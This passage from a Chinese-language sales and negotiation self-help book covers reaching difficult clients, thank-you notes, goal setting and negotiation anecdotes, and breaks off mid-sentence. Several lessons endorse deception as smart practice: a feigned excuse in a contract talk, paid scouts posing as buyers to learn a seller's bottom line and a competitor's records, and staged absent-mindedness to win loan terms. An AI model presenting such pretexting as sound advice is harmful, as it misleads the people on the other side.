+这样一来，你有了好的开始。但大功还没告成呢！你现在应该打电话给这位难缠的客户，定个时间见面。电话是总机小姐接的，你不要直接找这位客户听电话，相反地，你告诉她：“麻烦你帮我接你们老板办公室，对了，你们老板的秘书叫什么名字，我一下想不起来。”等她告诉你秘书名字之后，再请她帮你接老板办公室。 + +“喂！是你吗，安琪拉？我是哈维·麦凯——麦凯信封公司总裁(没错！就是要吓她一跳：“这家伙是谁？他怎么晓得我叫安琪拉？我见过他吗？”)前两个星期我曾写过信给贵公司负责人。我人现在在明尼亚波利斯，但我仍希望飞去见他一面，不用多，300秒就够了。为了和他见面，我要从老远飞过去，怎么样，只要300秒，如果超过时间，我愿意以贵公司名义，捐500美金给你们老板最常捐钱的慈善机构。” + +如果你的准备工作都做完了，事前也已经打听好了这位“难缠的客户”，并且和他合作的厂商拉上一点关系后，你就会信心大增，并且使他印象深刻。 + +由于事先计划周详，这招通常十拿九稳。但是，只有5分钟会面，够吗？ + +答案是：绰绰有余！因为我从没真的用完5分钟。我只是简单自我介绍，然后告诉他：“你可能听说过了，我们正在争取贵公司的业务。敝公司很重视这次与贵公司合作的机会，如果有幸能接下这档生意，我愿以麦凯信封公司负责人身份向你保证，我们公司产品的质量和良好的售后服务会合您的意”。这么简单几句话就够了。 + +因此从进去到出来，只需两分半钟。接下来，我立刻寄给他一封事先准备的、当天由明尼亚波利斯发出的谢函，除了感谢他和我见面，并重申我私下给他的保证。如果可能的话，随函附上一张100美金的收据，收款单位正是他一向乐捐的机构。你可以告诉他：“我只是想让你知道，我曾答应过安琪拉，如果不在5分钟之内离开你的办公室，我得捐500美金给你常乐捐的慈善机构。虽然我在规定的时间内出来，但我一向支持童军活动，这区区百元只是个人一点心意罢了！” + +这招屡试不爽吗？那倒也不尽然。但比起其他法子，这招的确有效多了。另外还有一招，那就是如果安琪拉不帮你安排和他见面的话，也要想办法叫这位“难缠的客户”回你电话，你可以说：“嗨！安琪拉，如果他没有时间见我，通个电话的时间总该有吧！我今天下午两点到三点和明天一整个早上，都会在办公室等他电话……”等等之类的话。然后告诉你的秘书：“如果这位客户在上述时间打来，你应告诉他：‘是的，先生，我们老板正在等你的电话，我马上帮你转过去。’” + +这招电话游戏，不光对付“难缠的客户”管用，就是对其他人也能派上用场。先留给对方你会在办公室的时间，再叫你的秘书在那些时间内守着话筒，一旦对方打过来，她就马上以夸张的口气告诉对方：“嗨！你打来了，他正在等你的电话呢？”客户会觉得很受用。 + +好了，你该做的都做了，你和难缠客户见过面谈过话了，过去两年中，你逢年过节不是寄卡片就是寄礼盒给他，但两年过去了，你还是一张订单也没收到。别沮丧，有耐心地等，你总会等到的。因为你已经把自己安置在最有利的位置上，这位置是“第二位”，但是很有利的“第二位”，因为没有人会像你为了争取这客户，而付出如此多的心血。政客都晓得选举时，跑在最前面的第一名，通常要担的风险最大，地位也最不稳固。一旦第一名垮了，第二名则早已准备好把票源都接收过来。 + +除此之外，你还有其他的好处。想一想所谓的“大数法则”(Law of Large Numbers)。所有的保险业采取的就是这套方法。美国现在人口2.4亿人，保险业有办法告诉你在未来一年内，将有0.25%的人遭到不测，甚至能告诉你是怎么发生及在哪里发生的，依年龄、性别、种族、信仰而不同，这真是厉害透顶。他们唯一无法告诉你的是—“谁”将遭此不测。 + +把这个“大数法则”运用到你的客户名单上。在这张表上，你应该把自己当做每位客户的第二考虑。且不时增加客户的数目。我向你保证，只要你名单上的客户够多，总会有原本位居第一的对手因为各种理由，而失去第一名的宝座，这时位居第二的你就出头了。我没法告诉你是“谁”会倒下来，但没有关系，是谁并不重要。重要的是由于你有耐心和毅力，你能在不同的人面前，心甘情愿暂居第二，“大数法则”不但对保险业者管用，对你也大有帮助。你只要能在自己的位子上耐心等待，迟早会从第二名跃居为第一，成为一位名利双收、非常成功的业务员。这招不仅在生意场上管用，在你的人生旅途上也包管用得着，奇怪的是，除了我之外，好像没有人用过这招。 + +## 第9 课 创造你的私人俱乐部 + +那些入会资格严格，且拥有自己专属餐厅和健身房的乡村和商业俱乐部，它们能生存的理由，就是能创造一个做生意的好环境。我们可以这么说，如果你正在外地招待顾客，在那里你没有参加任何俱乐部，那么如何在这样一个没有人晓得你的地方，创造出一个有如俱乐部般舒适、高尚，能突显你社会地位的环境呢？ + +简单得很。 + +最好的办法，当然是向当地的朋友借他的俱乐部来用，然后签他的帐，这实在是强人所难。不过如果你的朋友答应，不妨照做。 + +如果这招行不通，就在这个地方最好的餐厅订下位子。事前亲自打电话给餐厅经理，告诉他你不是本地人，想在此地招待你的大主顾，并让他晓得“事成之后，好处少不了他的”。向他详尽描述你自己，以便你到达时，他能熟稔的叫出你的名字。告诉他你要订的宴席有三个条件：不要离晃动不停的厨房门太近；不要离外面车站站牌太近；也不要太靠近客人来往频繁的大门。告诉他你要他们最好的服务员。要他那天不要送上菜单，而在事前先预定好三四样精致的菜肴，到时端上即可。告诉他你信用卡的号码，请他不要把帐单送到你面前，随后你会给服务员20%的小费。必要时，把办公室的电话给他，或你先去那儿签帐都可以。 + +等那天酒足饭饱之后，你提醒你的顾客“咱们走吧！”时，仔细瞧瞧他脸上吃惊的表情，让他猜不透你到底什么时候付了帐。 + +事前只要稍加计划，你就可以轻松地达到两个目的：你不但不会因签帐或当场付现金，使你的顾客尴尬，并能巧妙的把当地最好的餐厅变成你的私人俱乐部。 + +## 第10课 纸短情长 + +你每次都向同一个推销员买车、买鞋子或其他物品吗？当然不会。 + +一辆新车现在大概要1万美金，对任何人而言，都是一项大买卖。我每隔几年就会换新车，但是一旦我向业务员买了车后，就再也没有他的下文了，买其他的物品也一样。没有谢函，也没有“我们公司新产品的介绍”等来信，什么都没有。 + +但据我了解，有很多成功的人，都会经常寄短函给别人。例如圣母大学足球教练霍兹；国内最热门的广告代理公司董事长斐伦；国内一家最成功的经纪公司的创始者惠特尼等等，他们都是寄短函的个中高手。“我只是要告诉你，对于我们的会议(你的礼物/你的热诚招待……之类的话)，我衷心的感激……”。或是“谨向贵公司新厦落成(你的新厂/你夫人/你公子在网球比赛优异的表现)，深表恭贺之忱”。或者是“现在为你介绍一项新产品(信封/高尔夫球/网球或一项市场调查研讨会……)，希望你多多指教”等的短函。 + +这类的短函最好是亲手书写，亲自寄出，并使别人在新产品问市，或会议召开的当天收到，只需几分钟就够了。要表达的只是你个人的礼貌，使那些曾和你共事过的人晓得你的关心，好让他们别忘了你。但这么简单的一件事，就造就了霍兹、斐伦和惠特尼等人的成功；而我却为什么从不向同一个业务员买二次车子。 + +就算你在这行才刚起步，也请切记这招。我认识一位刚自大学毕业的女士，一心想投身广告界。就像一位年轻女演员有很多机会可以跻身百老汇，这位年轻女士也有不少机会能在麦迪逊大道(美国大广告公司汇集的街道)上找到工作，却都不得其门而入。她接连数月都遭拒绝，内心焦虑之余，不时得依赖心理医生及药物治疗。最后，她终于得到了一次面试的机会。这次面谈，虽然双方都有好感，但据她多次经验，想得到这份工作，还得花费一番苦心。于是回来后，立刻写了一封颇具创意的感谢信，打好字后，在当天亲自交给那位可能成为老板的仁兄。结果——她终于打败劲敌，如愿以偿地得到那份工作。之后她才晓得，原来是那封信帮了她大忙。 + +## 第11课 寻找新顾客 + +每本生意指南都会教你80/20这项法则，那就是说你80%的生意，来自你20%的顾客。 + +每本生意指南也都会教你在哪张顾客名单上着手，以便开发更多的生意，寻找更多的顾客。 + +这个建议确实不错。 + +但是，把这个方程式反过来看呢？假如你20%的顾客就是你80%的生意来源，现在角色交换，你成了顾客而不再是业务员，对你自己20%的供应商而言，你不也是他们80%的生意来源吗？ + +因此，看牢你的供应商名单。这些靠你过日子的人，不也正是你生意的来源吗？ + +我的供应商总需要从别人手中买信封，那个人就是我。 + +## 第12课 人爱其名 + +如果你问一屋子的企业家，什么是世上最美妙的声音，他们的答案要不是刚铸好的钱币沙沙的摩擦声，就是他们商场上的敌手突然倒在人行道上时所发出的巨响。 + +如果你问任何一位擅长销售游戏的人同样的问题，他们会告诉你，听到自己的名字从别人口中说出来，才是世上最美妙的声音。 + +我认识一位私立学校的校长，他把记住学校上千学生的名字当成作业，每天练习。如果是新来的学生，他还没见过，他就靠他们的照片来记他们的名字。每学年的第一天，在校车把学生载到学校时，他就有办法在每位学生下车时，分别叫出他们的名字，并且寒暄一番。试想，对一个接触新环境，难免忐忑不安的一年级新生而言，能在一开始就被这么重要的人物认出来，无疑是吃下一颗定心丸。而对那些付了5000美元，爱子心切的家长而言，这声招呼也使他们大大地安了心，因为从孩子的口中，他们得知校长对他们的孩子特别照顾。 + +在这位校长任内的12年中，该校的注册率加倍了，使得学校得以扩充教学设施，成为该区最富盛名的明星学校，进而使该校基金变成原先的6倍。虽然这项斐然的成果，不能完全归功于校长“记学生名字”这件事，但不可否认，这位成功地扮演了教育家和行销人员双重角色的校长，的确是该校成功的最大功臣。 + +## 第13课 确实把握时间 + +光晓得怎么做，却不训练自己确实去做，还是不够的。例如，有一位校长能把学校近千名学生的名字都记下来，他不是天才，只是方法用的对。他用当年在高中记拉丁文动词变化的方法，把学生的照片挂在办公室，花上一个星期，每天关在屋里埋头苦记，终于把正面的照片和背面的姓名都记下来了。 + +这种看似很“驴”的方法，我们早在中学生时代就摒弃不用了。他却用这招达到了目的。 + +绝大多数的业务员，在办事时都不用脑筋，关于这点，我深感遗憾，他们给我的感觉，好像是不必用尽全力，就能把事情办好一样，这种想法很不应该。 + +我认识不少成功的业务员，他们以前有的是醉鬼，有的是赌徒，更有骗子及偷儿，但绝对没有一个成功的业务员是靠无所事事，坐吃山空起家的。 + +既然极为了解人性中的弱点，我们为什么不团结起来，成立一个组织，一同向人性弱点中最危险、最奢侈、最具毁灭力的“浪费光阴”挑战呢？尽管坏事做绝，只要努力，你还是可以赚进大把钞票。但如果你每天在办公桌前，虚度光阴，啥事也不做，你就注定要失败。 + +老实说，业务员能卖的，也只有时间。他虽推销产品，但产品本身是独立的，业务员所做的总是有限，但他本身的个性却是导致他成功或失败的主要因素。如果他不能随时在工作岗位上，提供顾客必要的服务或需要，不消多久，他的业绩就会一落千丈。 + +一个成功的业务员的特点，就是客户不把他看成业务员，而是看成一位靠得住的、不可或缺的顾问，一位不需要他付薪水，却能为他办事的职员。 + +“推销”需要过人的精力和自我训练。你的顾客不会管你拜不拜访他，因为这不关他的事。但是你得管，因为去拜访顾客是你的职责。尽管公司所有的心理策略都是要激发业务员多访问顾客，，如举办销售比赛，开销售会议及作激励训练等，所有的业务员仍然会绞尽脑汁找出各种方法，投资他们所拥有、而且一定有回收的一项资产：时间。 + +为什么呢？但愿我知道！ + +但是有一点我可以肯定，要做一位成功的业务员，倒不一定得像艾科卡或杜尔那样。只要确实遵守一个简单的原则：为自己定一张行事历，在每个工作天都先安排好固定的拜访活动，并且确实做到。如果你拜访了10个地方，只有一次和顾客作了面对面的沟通，只能算拜访了一个顾客。 + +随时保持时间观念，对业务员而言，其重要性不亚于减肥者随时计算卡路里。 + +这个方法，绝对可确保你的成功，使你免尝失败苦果。如果你给自己定下一份合理的工作计划，并能真正做到，你必会达到胜利的巅峰。根据我的经验，那些自我监督的业务员对自我的要求，实际上比销售主管对他们的要求还严格。因为世上只有我们自己最清楚，我们的能力其实远超过别人对我们平庸的期望。 + +## 第14课 订下目标 + +设定目标其实就是掌握时间的分配，包括三个步骤： + +● 订下目标。 + +● 拟定一套达到目标的计划。 + +● 掌握时间以确定计划实现。 + +1983年我们在日本举办了一系列的研讨会，邀请多位企业界领袖发表演说，他们都是来自日本最大规模商社的高层主管，包括本田、索尼、三菱以及其中最大的商社——松下电器88岁的总裁。 + +要说服这些高层人士演讲可真费了不少功夫，因为日本的社会体系比我们的要阶级分明得多，他们认为以这种方式对一群人谈话多少有失身份。 + +想想看，如果连演讲他们都无法接受，若要他们回答问题，这些大老会如何想？ + +但我们这位88岁的企业龙头老大对我们演说时，既流利又精辟，于是便有人提问题了： + +问：“总裁先生，贵公司可有长期目标？” + +答：“有的。” + +问：“时间多长呢？” + +答：“250年。” + +问：“您要如何才能实现？” + +答：“耐心。” + +听起来像个笑话，但如果真是这么好笑，为什么每次竞争时，我们都被打得落花流水；每个人、每家企业都需要一套基本的目标和信念，但我们多半做事都是凭直觉毫无章法、过一天算一天；目标模糊，更谈不上方法。 + +为达到公司目标设定的基本计划，包含下列三个部分：尊重个人—不论是顾客、员工或供给厂商；追求卓越；以及出色的顾客服务。 + +目标不必很详尽，切合实际就好，IBM有四个基本目标：(1)成长的速度最起码要跟得上电脑界的发展；(2)成为业界成本最低的制造者；(3)提供最佳的技术；(4)维持高利润。 + +这些都是很实在的目标，你个人的目标和计划甚至可以更简单。譬如就是增加总销售额。如果这些基本计划和目标使IBM成为佼佼者，为什么你不试试看？ + +我的一位好友告诉我她对“目标”下的定义，这是我所听过最棒的：“目标就是在期限内必须达到的梦想。”写下你自己对目标的定义——因为只有这样，你才会把它当一回事，强迫自己去实现它。 + +## 第15课 有志者事竟成 + +记得下面这个故事吗？从古希腊以来，人类就试图在4分钟内跑完1英里，传说希腊人甚至在选手背后放狮子追赶，让选手跑快些，但没有用。因此，几千年来，每个人都相信人类体能根本不可能做得到，我们的骨骼结构不对、关节阻力太大、肺活量不够……总有100万个理由。 + +然而有个人却证明医生、训练师、运动员以及无数曾经失败过的“前辈”全错了——班尼斯特奇迹似的在4分钟内跑完1英里。在他打破纪录后的次年，37个选手也做到了，再过1年，300位选手打破同样的纪录！ + +若干年后，我在纽约第五大道的终点线上观赏一场比赛，参赛的13位选手，全部都在4分钟内跑完1英里。换言之，即使是殿后的选手，在几十年前，也会被视为完成一项不可能的成就。 + +究竟怎么回事？训练方法没什么大突破，人体的骨骼结构更没有突然进化，改变的是人类的态度。 + +看看掘石工人，他也许撞击100次，岩石分毫不动，却在101击轰然裂开。你知道，那可不是最后一击奏效的，而是他前面的汗水与努力，你也可以完成目标……只要把目标订下来，谁说你不够厉害、不够聪明、不够努力，比不上你的竞争对手？如果别人说你做不到，别理他，真正重要的是：你自己是否也这么认为？在班尼斯特打破神话前，我们都相信专家，但班尼斯特相自己，才改变了世界一如果你相信自己，没有任何事会难倒你，别放弃，有志者事竟成。 + +## 第16课 找个好榜样 + +我承认，事实上我们都不是班尼斯特，也没有必要非做“开路先锋”不可；就像有位著名政治人物说的：“开路先锋得身先士卒，先挡了所有的箭再说。” + +拿餐饮这行而言，永远别在一个地点上作头一个开业的；通常地点、消费人口和餐馆三者要能形成完美的组合，得先经过三四次的转手才行。 + +而个中的诀窍是学习开路先锋的精神，却用不着挺身去挡箭。那些后来能在4分钟内跑完1英里的选手，成功的原因大半在于拿班尼斯特作榜样的缘故。 + +当班尼斯特做到了，其他人便能激励自己做同样的尝试。想想看谁最能激励你？回想你之所以是你，常是模仿你所仰慕的人的结果；你观察、模仿某人的风格，设法赢得他(她)的赞赏，向他学习建立自己的生活方式。 + +你一直都需要有榜样，各行各业中的“班尼斯特”和超级巨星，即令自己早已成为别人的榜样，仍不断在眼前寻找模范。学习他们、模仿他们、与他们竞争，甚至超越他们，这些成功人物始终驱策自己接受新挑战，超越自己，再建立新目标。要评估你自已，对自己充满自信，莫过于变成像你所仰慕的。照照镜子，如果你喜欢镜中的自己，别忘记一直持续这股美好的感觉。 + +## 第17课 美梦成真 + +如果你住在像纽约的大城市，你们的球队能参加职业联盟赛，对你而言是理所当然的；但在明尼亚波利斯，跻身联盟赛可是天大的事，如果失去球队，市民都将无所适从；偏偏10年前，我们差点失去两个加盟联盟赛的球队。 + +问题出在体育场。它是标准的户外多用途体育场，但是却非常落伍；改建并不能解决问题，因为在明尼苏达酷寒的长冬下，任何户外设施，不论多么现代化，在足球球季的后半季和棒球季的前几星期都毫无用武之地。 + +如果我们要保住球队，当务之急是建个新的体育馆。 + +我天生是个运动迷。我不想再回到旧日坐在木板凳上喊加油的日子；但我又没有财源让我实现买下一个球队的奢想。 + +因此，我参与了一项建造一座耗资7500万美元的体育馆的公共工程计划，以保住我们的球队。最后我成为这项计划的主席；起初估计1年就够了，但它花了我整整七年——艰苦、不安、充满挫折感，常常凡事都不对劲的七年。从开始兴建到体育馆落成的那天，我就有个梦想——我要做第一个开球者，不是市长、不是州长、不是别的名人，就是我，在心里，我已经想过无数次了，当然！我做到了！ + +我13岁时梦想拥有一座工厂，后来做到了！只有工厂还不够，我又梦想成为全市销售最好又声誉卓著的厂商，我也做到了。事实上，整整五年，在那个男士必须带帽的时代，我在帽顶内缘写下“大企业家”几个字，戴帽子的时候便一眼瞥见，时时提醒我必须“打拼”。 + +我了解到，梦想你自己成功的景象，是激励你达到目标最有力的方法。 + +当一个足球员，在6万个现场观众、3000万个电视观众面前，在球赛不分胜负时，一脚射进球门，背后激励他的，也就是梦想吧！整个过程只花了3秒钟，但当他开始动作时，心里已自动下了几百个判断，帮助他完成这个心中勾勒过无数次的景象——从他还是个小孩时，就梦想自己踢出关键性的一球——射门得分、赢得比赛。伟大的运动员都具有这种“映像成真”的能力，在“动作”的中途、完成目标一刹那的前半秒，他们已经“看到”自己做到了！ + +人类能历劫余生，经常也就是靠对前景的展望，希望自己能与众不同、非常健康、生机勃勃并有高度的创造力。 + +有人对集中营的幸存者做过研究，这些在集中营中熬过疾病与饥饿、不肯屈服的人，是否有某些共同的特质？我认得一位名叫维克多·弗兰克的人便是这个问题活生生的见证；在被纳粹关入集中营前，他是维也纳著名的精神科医师。“为什么我今天能站在这儿，”在一次演讲中他说：“原因只有一个，是‘你们’帮助我活了下来。当其他人都放弃希望时，我就是这样逃过纳粹集中营的魔掌。我从未到过这里，从未见过你们，从未对你们演讲过，但在我的梦中，就在我的梦中，我已经站在这儿，说过这些话一千次了！” + +开始你的梦想吧！ + +## 第18课 惠而不费——常被忽略的广告方式 + +你是否注意过：有多少人在一楼以上的建筑物里办公？这些人当中，又有多少不时把眼睛向窗外瞄？ + +所以，你应该在你的货车顶上，漆上你的公司行号或商标，这不用花上多少钱。广告人为攫敢广大市场中的一小块饼，总共花的钱令人瞠目结舌，大家都把广告的钱花在舍近求远的诉求上，却忽略了最简便又省钱的诀窍——在货车顶上漆上公司行号。我们这么做已经22年了，也在地方上众所周知，别人都称我们“货车顶上漆上名字的公司”，我就是不懂，为什么没有其他公司跟着做？ + +赶快漆你的货车吧！ + + + +# 第二章 麦凯谈判短篇 + +## 第19课 学会说“不！” + +不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不， + +不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不，不， + +不，不， + +也许就是明天！你会很惊讶地发现：只要你掌握了说“不！”的诀窍，你的谈判条件很自然地水涨船高。1986年，在美国有100家银行经营失败。你想，有多少家是因为没有拒绝不良贷款而倒闭的？ + +身为买方，你必得警觉到：卖方可是一直在算计着你，想办法一举成交。时间对卖方永远是不利的因素，对你可不是！时间拖得愈久，钱在你手上也愈久，你掌握交易条件的时间也会对你愈有利，因为你能掌握交易的条件。这就是为什么卖方总在暗示你当机立断，现在就买！如果你不为所动，他们就会想法子让步。可是他们会怎么做呢？ + +如果卖方搬出“某某是我的老顾客，他就想要这个东西”类似的话来套住你，怂恿你下决心的话，这时你可别上当，得赶紧拿出对策来。 + +多年以前，早在专业经纪人这行大行其道之前，我就充当过一位很棒的美式足球球员的免费经纪人——我们姑且叫这位球员I·C·安得生，或是“冰人”(Iceman)，或者就干脆叫他“百般呵护”(Intensive Care)先生吧！大伙都爱谈论他的特殊长相：他要是去整形外科，对医生来说可是天大的挑战。当时有两支队伍争取他——加拿大足球联盟的多伦多冒险者队以及国家足球联盟的巴尔的摩小马队。I·C·生在贫穷的黑人家庭中，兄弟姊妹连他共9人，真是穷得分文不名。情况很明显，我一定得为他争取到最好的待遇，而且得在两大老板间做好折冲樽俎的工作——一位是多伦多队的巴赛特，另一位是巴尔的摩队的罗森布伦。巴赛特是多伦多一家报社的老板，干得有声有色。罗森布伦从事服装业和运动业，着实赚了不少。他们有6个共同点：有钱、好胜、精明；以及极有钱、极好胜、极精明！而这些都不是我在行的。 + + + +吸引人的价码 + + + +首先，我让罗森布伦知道我们要先跟多伦多队谈谈。见到巴赛特后，他果然出了个很吸引人的价码。就在那个当儿，全身的细胞、直觉都告诉我：快走，快离开此地！到巴尔的摩去。所以我说：“非常谢谢您，巴赛特先生。您开价这么高，我们一定会谨慎考虑。我们会再跟您联系。” + +巴赛特冷笑了一下，说：“不过，我要补充一点，我开的价码只有在这房间里谈妥才算数。你一离开这房间，我就立刻拨电话给巴尔的摩的罗森布伦先生，告诉他我对这个球员已经没有兴趣了。”尴尬呆站一两分钟后，我问他：“我可不可以和我的客户在隔壁房间商量一下？”要求照准。 + +我想房间中央那张桌子下面大概装有窃听扩音器，所以我把I·C·拉到窗户旁低声跟他说：“I·C·，我们一定要争取一点时间，马上赶到巴尔的摩去，就假装你受不了压力，精神崩溃吧！或是我告诉他，我必须赶回明尼亚波利斯去交涉一些劳工问题。” + +I·C·看着我，好像精神崩溃发疯的人是我。那么大一笔钱啊！而我居然拿他的前途开玩笑，I·C·是个十足的美国佬，可不是什么英国巨星劳伦斯·奥立佛。我们决定还是用处理劳工问题作为离开的借口。 + +我说：“巴赛特先生，今晚我一定得赶回明尼亚波利斯去协调一些劳工问题。I·C·这件事，还有很多要谨慎考虑的，我想明天再给您答复。” + +巴赛特拿起电话。难道他要打电话给罗森布伦吗？好险！是他的秘书。他说：“我们那三架小型喷气机在不在？派一架送麦凯和I·C·先生回明尼亚波利斯。”三架小型喷气机！就在我身后，我可以感到I·C·的呼吸愈来愈急促，不过，这回我可是又尴尬得手足无措。既然已经厚着脸皮撒了这个瞒天大谎，又当场被逮住，没办法，现在只剩一条路可走了。 + +我说：“巴赛特先生，我想你也别麻烦打电话到巴尔的摩去了，这桩生意我们不做了。” + +I·C·认为我疯了，当然，我甚至也认为自己疯了。不过这招的确有效。次日，我们到了巴尔的摩，和罗森布伦签约，条件比巴赛特那边更好。 + +I·C·为巴尔的摩整整效力10年，也打进两回超级杯比赛(Super Bowls)。后来，罗森布伦把加盟职业队的权利卖给洛杉矶公牛队时，只带了一位球员跟着他到加州，那位球员就是：I·C·安得生。 + +在这回谈判中，我学到了两项很重要的决窍：第一是随时准备说：“不！”后来没有人会因为拒绝太多而破产的。第二是在谈判中，最有力的工具是掌握情报。 + +巴赛特之所以希望安得生在离开他办公室之前签约，只有一个原因：他准知道罗森布伦提供给我们的条件比他好。我的直觉告诉我绝不能签那个约。在当时，这招很有效；可是从长远来看，单靠直觉绝对比不上消息灵通来得好。 + +## 第20课 投石问路 + +也许你想买栋房子、买家公司……或是其他重要生意。找出卖方的底价是最棘手的工作。不过方法倒是有。你可以花钱找个人来代替你——当探路者。在洛杉矶还真有人靠这行吃饭的，也许全美还有更多这样的人。如果你找不到，就制造一个。律师或会计师是最佳人选。 + +我就举买房子为例吧！探路的人见到卖方先打听一下价码，对方若出价18.9万元，他就从皮包里掏出支票簿准备开张出价奇低的支票。 + +“我马上开一张14.5万元的支票给你。” + +我们就快要知道真正的价码是多少了。卖方要不是忿而拒绝交易，要不就力挽颓势。有人把卖房子看得像是要他让出王位似的，如果你的探路者锻羽而归至少他可以省得让你白忙一场。 + +如果卖方被惹火了，不卖的话，我们可以知道，目前他的价码是18.9万元。 + +但等了很长一段时间后，好不容易盼到一个比较有诚意的客人上门，卖方十之八九也会正经八百地跟他谈价钱。在这当儿，他可能会先出个价。我们就假设他开价17.5万元好了。在这种情况下，对卖方的价码你心里应该有个谱了。或者他正进退两难。没关系，如果他有任何犹豫的迹象，至少你了解他的底价比他对你的了解多……因为他以前没见过你。现在你可以开始运用谈判的资源：情报。 + +下一步是等一个星期，找另一个探路的去，不过，说辞可以稍改。他也许可以提更高的价码，而且有点儿离谱的；或者他可以提更低的价码也说不定。不过要是你让我去谈条件，我会把价钱提得高些。 + +探路者可以收集到更多情报，而且也有助于灌输卖方一个比较低的价码，让他以为这才是买方中意的价格。 + +如果你还想继续下去，你就不只要对底价如何心里有谱，或让卖方相信合理价格应比广告低，你还得记住别把事情弄僵了，千万不要开价过低，以免遭到白眼！ + +我买下我最大竞争对手时，就用过这招，很有效。在我亲自出马前，我不只对真正的价码了若指掌，也对他们的统计数字、帐目、记录，以及工厂都很清楚。当然，不一定每回都有效，不过要是一辈子能成功那么一次，其实也就够了！ + +就是用了这招，我才搞懂了为什么他们有35%的生意都是跟同一个客户做的。有时候我怀疑，如果我们——他们最深恶痛绝的竞争者——一开始就跟他们打交道的话，想挖出这么多情报，很可能得花上一年的功夫！ + +## 第21课 旅馆客满了？没那回事！ + +你有没有为了旅馆房间跟人理论的经验？ + +我一向无法七早八早就安排好我的假期，不过，即使是圣诞节前一个礼拜在阿卡波可(墨西哥度假胜地)，我也从没有吃过闭门羹。让我告诉你我是怎么做到的：你打电话到墨西哥，或任何其他地方，但是别请旅行社或你的秘书替你打。你要亲自打。订房部门的职员告诉你客满了，你呢就问他的名字，然后说：“听着，你们有500个房间都被预约了，但是，你我心里都明白得很，那500个预订房间的人，总有人不来吧！或许生病，或者在做一笔大生意无法分身，反正无论如何，500个人中一定会有人到不了，我们只是不晓得到底会是‘谁’碰巧不能来罢了。所以呢！我要求的不是你给我一个预订房间，只是要你把我放在候补名单上的第一位。我确信一定会有空房间，我现在就先把旅馆费用汇过去。有空房间时，你可以打对方付费的电话通知我，当我到达时，我会很感激你的！” + +然后把你的名字和电话号码告诉他，挂掉电话，立刻汇钱过去。他们通常会回电的。 + +## 第22课 攻心为上 + +拜访银行业者真是生命里的一段紧张时刻。赤裸裸地把自己的财务状况让人过目——在心理上多少会有点不对劲——这不是任何广告说的“服务亲切的行员”所能改变的。这样的会面总是在银行——设计得有如商业殿堂的建筑物中——举行是有道理的，他们是怕你老兄忘了：钱是很正经严肃的事情。 + +但是行员还是要卖掉他的产品——钱！它是一种消耗财，一旦变成国库券(T·Bills)——也就是钱借不出去时，利息只有5%。可是如果投资在你的抵押贷款或车子上时，赚头至少10%以上。即使遇到贷方无法偿还债务——这是银行所能碰到的最糟状况，而催收帐款比率(default rate，即银行回收有困难的帐款率)达到2.5%时，也还是比钱没借出去要来得有赚头。 + +我们来看看一个有钱的德国实业家是怎么和银行谈判的。 + +史璜先生已经70出头，仍旧活跃于商业界。他知道他那自认是房地产开发专家的儿子，正一头栽进非他能力所及的公寓计划。老史璜可不愿意用自己的钱投资，他决定用借的。他找来会计师——无懈可击的霍夫曼太太——替他安排与银行代表魏得曼先生见面。史璜和霍夫曼准时赴约，时间是史璜挑的——星期五下午4点半。史璜当然是有备而来：他挑的银行、 + +时间和银行代表，一切都配合得天衣无缝，他正巧知道魏得曼先生有两大嗜好：网球和歌剧。 + +会面就从一些无关痛痒的应酬话带入，史璜平常不太说话，现在居然滔滔不绝。先说网球——他自己曾参加过1931年温布敦网球大赛第一回合的比赛，当然，久已遗忘的比赛情景又浮现眼前。接着再谈歌剧。他对毕洛特(德国巴伐利亚地区纽伦堡东北的一个城市)举办的瓦格纳40周年歌剧纪念大会的精彩节目，更是如数家珍。下班钟响了，行员清理桌子，回家的时间到了。一向很“准时”下班的魏得曼先生，手指头很紧张地轻轻敲打在桌上那份史璜先生的档案，他真的打算就在这个下午能和史璜先生达成协议——也让自己能在星期一的例行汇报上把案子呈给上级看。史璜却在一旁若无其事地等着。 + +5点10分，史璜起身，看了看表，说这次会谈让他很愉快，不过他还有事得先走一步了。当魏得曼帮他穿上大衣，两人转身走向电梯时，这趟会面的真正目的才真正起了个头——是魏得曼提的。 + +魏得曼说：“史璜先生，您不是来谈抵押贷款的事吗？” + +史璜说：“抵押贷款？霍夫曼，你要我来，是来谈贷款的事吗？”当然啦！看得出来，这整件事都是“霍夫曼”的杰作！ + +史璜从头到尾都没提“贷款”，是魏得曼自己提出来的，当然，贷款的条件也就留给他伤脑筋啦。就在他们两位都还站在电梯门口时，魏得曼提条件。 + +利率为6.18%——而通常银行贷款的利率是7%——条件可以说好的不得了！ + +史璜另外一个儿子，并未从事起伏不定的房地产业，他说道：“那回的交易我记得很清楚。会成功，实在是因为我父亲把这个心不在焉的老头子角色演得太精彩的缘故吧！” + +心不在焉？那倒是！ + +纵使上银行这档事给你那么多的心理障碍，但是别忘了银行是卖方，你是买方，虽然他们不会上门推销，但并不表示你就得去拜托他们和你作生意——应该是他们来拜访你，你多少会占点便宜的。 + +## 第23课 欲擒故纵 + +史璜的例子说明了：离开谈判桌，并不是因为你不想做成这笔生意；有时候，这反倒是你要成交的不二法门。 + +如果“必须”达成交易的人是你，那么对方只消跟你一直磨菇下去，就一定能在谈判中赢得胜利。 + +就举国际关系为例。大家通常都认为，在谈判签定条约时，西方国家一方吃点亏、上点当，是天经地义的事。西方国家和东方国家进行国际谈判之所以经常失败，原因是谈判代表必须背负表达民意的包袱，去跟对方谈判——而且民众总认为达成协议才算谈判成功，至于协议内容如何则不必理会。 + +结果是美国的外交代表，一旦面临谈判，几乎每战必败，因为对方很清楚：他们惟一要做的就是拒绝达成协议——除非条件对他们有利——而美国民众的意见常让我们的谈判代表坐失良机。 + +莫洛托夫担任苏联外长一职有很长一段时间，他就很擅长“磨”功，因此有个外号叫“铁裤”(Ironpants)。 + +不过，目前情势已经改观了。举个例来说，罢工的解决之道，不再是以工会的条件为准，1981年全美导航员罢工事件就证实了这点，1986年霍美猪肉公司的员工罢工，情况也完全相同。这只说明了一点：有人永远学不乖。 + +而外交政策呢？我们不再让步。事实上，我们已经学会了：当条件不合意时，就起身离开谈判桌！ + +可别轻忽了这个诀窍：不论是谈判、合并或是不动产买卖，千万别自限，误以为：因为这是谈判，就非得谈不可。 + +最近，我自己正好有个机会学以致用。有五个朋友合伙搞房地产，主要想在芝加哥发展旅馆业。就在所有财务文件要签字的前两天，银行也即将寄出信用状(Letter of 